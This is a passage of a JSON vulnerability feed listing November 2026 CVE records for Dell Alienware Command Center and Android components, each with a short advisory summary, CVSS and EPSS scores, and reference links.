Execution.","published_time":"2026-11-02T20:02:44","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91900","summary":"Dell Alienware Command Center (AWCC), version(s) Versions up to and including 6.14.20.0, contain(s) an Improper Authorization in Handler for Custom URL Scheme vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution, Launch of phishing attacks, and Remote execution.","cvss":5.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.8,"cvss_v4":null,"epss":0.00251,"ranking_epss":0.16577,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":{"id":"EUVD-2026-115455","description":"Dell Alienware Command Center (AWCC), version(s) Versions up to and including 6.14.20.0, contain(s) an Improper Authorization in Handler for Custom URL Scheme vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Command execution, Launch of phishing attacks, and Remote execution.","published_time":"2026-11-02T20:04:48","cvss":5.8,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91901","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Authorization in Handler for Custom URL Scheme vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Client-Side Request Forgery.","cvss":3.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.5,"cvss_v4":null,"epss":0.00143,"ranking_epss":0.03639,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:04","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-91893","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00126,"ranking_epss":0.02321,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:03","euvd":{"id":"EUVD-2026-115549","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege.","published_time":"2026-11-02T19:50:01","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91894","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege, Arbitrary Code Execution and Denial of Service.","cvss":6.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.7,"cvss_v4":null,"epss":0.00111,"ranking_epss":0.01303,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:03","euvd":{"id":"EUVD-2026-115451","description":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege, Arbitrary Code Execution and Denial of Service.","published_time":"2026-11-02T19:58:54","cvss":6.7,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"products":["Alienware Command Center (AWCC)"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-91895","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Tampering.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":0.00116,"ranking_epss":0.01583,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:03","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-86365","summary":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Input Validation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Denial of Service.","cvss":4.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":null,"epss":0.00086,"ranking_epss":0.00301,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:18:02","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59047","summary":"In multiple locations, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00129,"ranking_epss":0.02565,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/ba356506706b7bd953c501ea91ee7c0d55c1ad83","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:58","euvd":{"id":"EUVD-2026-115448","description":"In multiple locations, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:13","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/ba356506706b7bd953c501ea91ee7c0d55c1ad83","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59048","summary":"In rb_cpu_init of trace.c, there is a possible out-of-bounds read due to an incorrect bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00136,"ranking_epss":0.03063,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/5e31aa53a963b254ddac8a88b48e5b64cfc38eea","https://android.googlesource.com/kernel/common/+/e46b3a946c957ab463a8abf9333dea702e8a485e","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:58","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59021","summary":"In multiple locations, there is a possible denial of service due to improper input validation. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01471,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115439","description":"In multiple locations, there is a possible denial of service due to improper input validation. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:04","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59022","summary":"In multiple functions of MediaProvider.java, there is a possible permission bypass due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00127,"ranking_epss":0.02371,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59028","summary":"In resolveAidConflictLocked of RegisteredAidCache.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.00885,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115441","description":"In resolveAidConflictLocked of RegisteredAidCache.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:06","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59031","summary":"In InputDispatcher::flushSensor of InputDispatcher.cpp, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01802,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115442","description":"In InputDispatcher::flushSensor of InputDispatcher.cpp, there is a possible denial of service due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:07","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59042","summary":"In __pkvm_pages_to_ppages of mmu.c, there is a possible out-of-bounds write due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":0.00162,"ranking_epss":0.05428,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/1569a00286640e452ce917ee8b3cec04c5cc3715","https://android.googlesource.com/kernel/common/+/382cffbd3842b64260993d2438926a9f2a0a447e","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115443","description":"In __pkvm_pages_to_ppages of mmu.c, there is a possible out-of-bounds write due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:08","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/1569a00286640e452ce917ee8b3cec04c5cc3715","https://android.googlesource.com/kernel/common/+/382cffbd3842b64260993d2438926a9f2a0a447e","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59043","summary":"In arm_lpae_split_blk_unmap of io-pgtable-arm-common.c, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":0.00147,"ranking_epss":0.03914,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115444","description":"In arm_lpae_split_blk_unmap of io-pgtable-arm-common.c, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:09","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59044","summary":"In multiple locations, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00105,"ranking_epss":0.01083,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/a4e59da7cad6b445229ae67c0ebed83a7b18dcb5","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115445","description":"In multiple locations, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:10","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/a4e59da7cad6b445229ae67c0ebed83a7b18dcb5","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59045","summary":"In multiple locations, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":0.00263,"ranking_epss":0.1825,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/01ff2abe4905798e330a70f2970ee33a44419d24","https://android.googlesource.com/kernel/common/+/22ae719f35b14f88e551f0e858a1087a4b721204","https://android.googlesource.com/kernel/common/+/9f965dd09cad69d0064f8a862d68cfc2163ba9d3","https://android.googlesource.com/kernel/common/+/acce19149cb8ebe92218d0e66c08bc36552ddbdf","https://android.googlesource.com/kernel/common/+/bd9aaec66cf50ea3ade2b537d9b730e40fe512e6","https://android.googlesource.com/kernel/common/+/c47ebb7427d5011de67b526eac67b42da640bdc5","https://android.googlesource.com/kernel/common/+/e10fb80c80387aa1f26695b57df95afe0ef00481","https://android.googlesource.com/kernel/common/+/eb970aae88c0f45056f4501b7815a9b5c7ab0435","https://android.googlesource.com/kernel/common/+/f0a2d3087b73b442b69fe0a9617ab920400abe15","https://android.googlesource.com/kernel/common/+/f6510cfbc728061d7a8d4ea4ac91e5fc270aaf6b","https://android.googlesource.com/kernel/common/+/f89e83e20aa69fbdd5b2f2de284dafcaadbda7c7","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115446","description":"In multiple locations, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:11","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/c47ebb7427d5011de67b526eac67b42da640bdc5","https://android.googlesource.com/kernel/common/+/f0a2d3087b73b442b69fe0a9617ab920400abe15","https://android.googlesource.com/kernel/common/+/eb970aae88c0f45056f4501b7815a9b5c7ab0435","https://android.googlesource.com/kernel/common/+/f6510cfbc728061d7a8d4ea4ac91e5fc270aaf6b","https://android.googlesource.com/kernel/common/+/9f965dd09cad69d0064f8a862d68cfc2163ba9d3","https://android.googlesource.com/kernel/common/+/22ae719f35b14f88e551f0e858a1087a4b721204","https://android.googlesource.com/kernel/common/+/bd9aaec66cf50ea3ade2b537d9b730e40fe512e6","https://android.googlesource.com/kernel/common/+/f89e83e20aa69fbdd5b2f2de284dafcaadbda7c7","https://android.googlesource.com/kernel/common/+/acce19149cb8ebe92218d0e66c08bc36552ddbdf","https://android.googlesource.com/kernel/common/+/e10fb80c80387aa1f26695b57df95afe0ef00481","https://android.googlesource.com/kernel/common/+/01ff2abe4905798e330a70f2970ee33a44419d24","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59046","summary":"In __pkvm_guest_relinquish_to_host of mem_protect.c, there is a possible out-of-bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00136,"ranking_epss":0.03063,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/4a75aa4e840f294efd47084e083a6e91069bce58","https://android.googlesource.com/kernel/common/+/525cfccadb92e7c9314d03cce600fed7335874d9","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:57","euvd":{"id":"EUVD-2026-115447","description":"In __pkvm_guest_relinquish_to_host of mem_protect.c, there is a possible out-of-bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:12","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/4a75aa4e840f294efd47084e083a6e91069bce58","https://android.googlesource.com/kernel/common/+/525cfccadb92e7c9314d03cce600fed7335874d9","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59008","summary":"In setApplicationRestrictions of DevicePolicyManagerService.java, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01476,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115430","description":"In setApplicationRestrictions of DevicePolicyManagerService.java, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:56","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59010","summary":"In deserialize of legacy.rs, there is a possible denial of service due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01475,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115431","description":"In deserialize of legacy.rs, there is a possible denial of service due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:57","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59011","summary":"In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00127,"ranking_epss":0.02371,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59012","summary":"In checkLastKnownCellIdAccessPermission of TelephonyPermissions.java, there is a possible permission bypass due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01923,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59014","summary":"In multiple locations, there is a possible out-of-bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01476,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115435","description":"In multiple locations, there is a possible out-of-bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:00","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59015","summary":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01921,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115436","description":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:01","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59016","summary":"In sendAnomalyProfile of ProfilingService.java, there is a possible path traversal issue due to path traversal. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01471,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115437","description":"In sendAnomalyProfile of ProfilingService.java, there is a possible path traversal issue due to path traversal. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:02","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59020","summary":"In removeUserData of DevicePolicyManagerService.java, there is a possible denial of service due to a race condition. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01471,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:56","euvd":{"id":"EUVD-2026-115438","description":"In removeUserData of DevicePolicyManagerService.java, there is a possible denial of service due to a race condition. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:55:03","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59000","summary":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.0088,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115422","description":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:48","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59001","summary":"In checkQueryPermission of TelephonyProvider.java, there is a possible permission bypass due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00127,"ranking_epss":0.02372,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59002","summary":"In handleMessage of UsbDeviceManager.java, there is a possible lock-screen bypass due to a logic error in the code. This could lead to physical information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00133,"ranking_epss":0.02834,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-59003","summary":"In getSubscriptionProperty of SubscriptionManagerService.java, there is a possible information disclosure due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.0147,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115425","description":"In getSubscriptionProperty of SubscriptionManagerService.java, there is a possible information disclosure due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:51","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-59004","summary":"In multiple locations, there is a possible permission bypass due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01923,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:55","euvd":{"id":"EUVD-2026-115426","description":"In multiple locations, there is a possible permission bypass due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User 